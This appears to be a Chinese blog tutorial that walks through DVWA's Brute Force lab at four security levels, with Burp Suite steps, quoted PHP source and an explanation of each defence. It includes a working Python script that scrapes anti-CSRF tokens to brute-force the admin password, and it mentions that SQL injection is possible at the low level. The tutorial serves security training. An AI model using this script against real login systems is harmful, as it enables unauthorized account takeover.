DVWA-master新手指南之Brute Force(一)


一、写在前面

DVWA环境在计算机里搭设也将近有半个月了,也就只用过burpsuite来进行爆破方面的练习,今天重新玩了一下,其乐无穷,便有了分享思路的想法

本系列教程不包含相关的环境搭设,这方面的教程网上很丰富,大家可以去看看。

这里采用的是WAMP来搭设环境

二、参考文献

新手指南:DVWA-1.9全级别教程

在一开始接触DVWA时不知道这个玩法,看到上面这系列的文章,给我了很多启发,鸣谢。

三、正文

(一)Brute Force

即暴力破解,指使用字典对用户名,密码等信息进行枚举尝试,从而获得正确信息

(二)Low级别

在讲这四个级别之前,默认大家已经将嗅探软件配置好,这里我使用的是burpsuite,有不清楚的朋友可以看看我之前写的一篇burpsuite教程:《神器-burpsuite学习笔记》

传送门:http://blog.csdn.net/qq_35544379/article/details/76696106

————————————————————————————

对于low级别,显然我们应该尝试最简单的方法,也就是直接抓包爆破

->

配置好burpsuite和代理之后,我们首先进入到Brute Force 的界面,别忘了将安全调至low,此时需要关闭burpsuite的拦截,随意在用户名和密码输入框中输入,点击Login即可

DVWA-master新手指南之Brute Force(一)_第1张图片


此后在burpsuite的HTTP history选项卡中找到刚刚的数据包

DVWA-master新手指南之Brute Force(一)_第2张图片

随即便开始了我们愉快的爆破之旅

DVWA-master新手指南之Brute Force(一)_第3张图片

我们可以轻易地发现,服务器并没有限制尝试登录的次数,因此我们的爆破成功,可回到DVWA进行验证。下面我们看一下low级别的源码

DVWA-master新手指南之Brute Force(一)_第4张图片


我们可以看到,服务器只是验证了参数Login是否被设置,没有任何的防爆破措施,同时我们还可以发现一点惊喜:也就是服务器未对username,password参数进行过滤,sql注入可行

DVWA-master新手指南之Brute Force(一)_第5张图片

(二)Middle级别

来到Middle,首先我们还是尝试一下burpsuite的爆破

按上述步骤进行,发现在爆破过程中,速度特别慢,猜测服务器采用了类似于sleep的功能,使爆破速度降慢,但依然没有实际上的防爆破机制,因此成功爆破

DVWA-master新手指南之Brute Force(一)_第6张图片


接着low的思路,我们尝试一下sql注入

试了一圈,发现都没有什么好进展,于是查看一下源码

DVWA-master新手指南之Brute Force(一)_第7张图片

注意图中两处,第一处使用了mysql_real_escape_string()函数,对

  • \x00
  • \n
  • \r
  • \
  • '
  • "
  • \x1a
等字符进行了转码,使得sql查询安全进行,因此基本上抵御了sql注入


第二处也就是上面提到的爆破变慢原因,只要登陆失败就sleep


(三)High级别

老套路,啥也别说先试试直接爆破

可爆破的结果却是这样的

DVWA-master新手指南之Brute Force(一)_第8张图片

没办法得到正确的密码,仔细一看,原来在High级别下提交的参数还有token

DVWA-master新手指南之Brute Force(一)_第9张图片

因此High级别可以抵挡无脑爆破的做法

如果我们想要爆破成功,就必须获得每次登陆的一个随机token值,服务器在这里应该会先对token进行检查随后再执行SQL查询

因此我们可以尝试自己编写一个能从html页面中抓取user_token的值的脚本进行爆破

这里参考 新手指南:DVWA-1.9全级别教程 作者的脚本

from bs4 import BeautifulSoup
import urllib2
header={        'Host': '192.168.153.130',
		'Cache-Control': 'max-age=0',
		'If-None-Match': "307-52156c6a290c0",
		'If-Modified-Since': 'Mon, 05 Oct 2015 07:51:07 GMT',
		'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36',
		'Accept': '*/*',
		'Referer': 'http://192.168.153.130/dvwa/vulnerabilities/brute/index.php',
		'Accept-Encoding': 'gzip, deflate, sdch',
		'Accept-Language': 'zh-CN,zh;q=0.8',
		'Cookie': 'security=high; PHPSESSID=5re92j36t4f2k1gvnqdf958bi2'}
requrl = "http://192.168.153.130/dvwa/vulnerabilities/brute/"

def get_token(requrl,header):
	req = urllib2.Request(url=requrl,headers=header)
	response = urllib2.urlopen(req)
	print response.getcode(),
	the_page = response.read()
	print len(the_page)
	soup = BeautifulSoup(the_page,"html.parser")
	user_token = soup.form.input.input.input.input["value"] #get the user_token
	return user_token

user_token = get_token(requrl,header)
i=0
for line in open("rkolin.txt"):
	requrl = "http://192.168.153.130/dvwa/vulnerabilities/brute/"+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
	i = i+1
	print i,'admin',line.strip(),
	user_token = get_token(requrl,header)
	if (i == 10):
		break

按照惯例,我们依旧对源码进行分析


' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' ); if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful $html .= "

Welcome to the password protected area {$user}

"; $html .= ""; } else { // Login failed sleep( rand( 0, 3 ) ); $html .= "

Username and/or password incorrect.
"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>

我们可以看到 DVWA-master新手指南之Brute Force(一)_第10张图片

在high级别的源码中,对Token进行了前置性的检查,以及使用stripslashes去除反斜杠函数,进一步增强对sql注入攻击的抵抗能力

(四)impossible级别

一般来说,没有什么好的思路和点子,是很难突破这一级别的防守了,于是我们直接上源码进行分析

prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
	$data->bindParam( ':user', $user, PDO::PARAM_STR );
	$data->execute();
	$row = $data->fetch();

	// Check to see if the user has been locked out.
	if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
		// User locked out.  Note, using this method would allow for user enumeration!
		//$html .= "

This account has been locked due to too many incorrect logins.
"; // Calculate when the user would be allowed to login again $last_login = $row[ 'last_login' ]; $last_login = strtotime( $last_login ); $timeout = strtotime( "{$last_login} +{$lockout_time} minutes" ); $timenow = strtotime( "now" ); // Check to see if enough time has passed, if it hasn't locked the account if( $timenow > $timeout ) $account_locked = true; } // Check the database (if username matches the password) $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR); $data->bindParam( ':password', $pass, PDO::PARAM_STR ); $data->execute(); $row = $data->fetch(); // If its a valid login... if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) { // Get users details $avatar = $row[ 'avatar' ]; $failed_login = $row[ 'failed_login' ]; $last_login = $row[ 'last_login' ]; // Login successful $html .= "

Welcome to the password protected area {$user}

"; $html .= ""; // Had the account been locked out since last login? if( $failed_login >= $total_failed_login ) { $html .= "

Warning: Someone might of been brute forcing your account.

"; $html .= "

Number of login attempts: {$failed_login}.
Last login attempt was at: ${last_login}.

"; } // Reset bad login count $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); } else { // Login failed sleep( rand( 2, 4 ) ); // Give the user some feedback $html .= "

Username and/or password incorrect.

Alternative, the account has been locked because of too many failed logins.
If this is the case, please try again in {$lockout_time} minutes.
"; // Update bad login count $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); } // Set the last login time $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); } // Generate Anti-CSRF token generateSessionToken(); ?>

让我们一起来看看,在high的基础上,impossible做了哪些进一步的工作使得我们的服务器的安全性更佳了呢?


首先,这一部分的参数设置,显然是对登录次数,重新登录时间进行了限制,这里表明错误登录次数不得超过3次,锁定时间为15分钟(猜测)

DVWA-master新手指南之Brute Force(一)_第11张图片

在这里,代码就验证了我们上一步的猜测,代码对登录次数,超时时间进行了设置,基本上杜绝爆破行为

在这里我们还可以发现一些新东西,这里采用了一系列PHP PDO的拓展函数进行了安全性能的提高

使用prepare,bindParam等对查询语句进行预设定和参数绑定,基本上杜绝SQL注入


————————————

期待下次与你们的见面

你可能感兴趣的:(DVWA-master新手指南之Brute Force(一))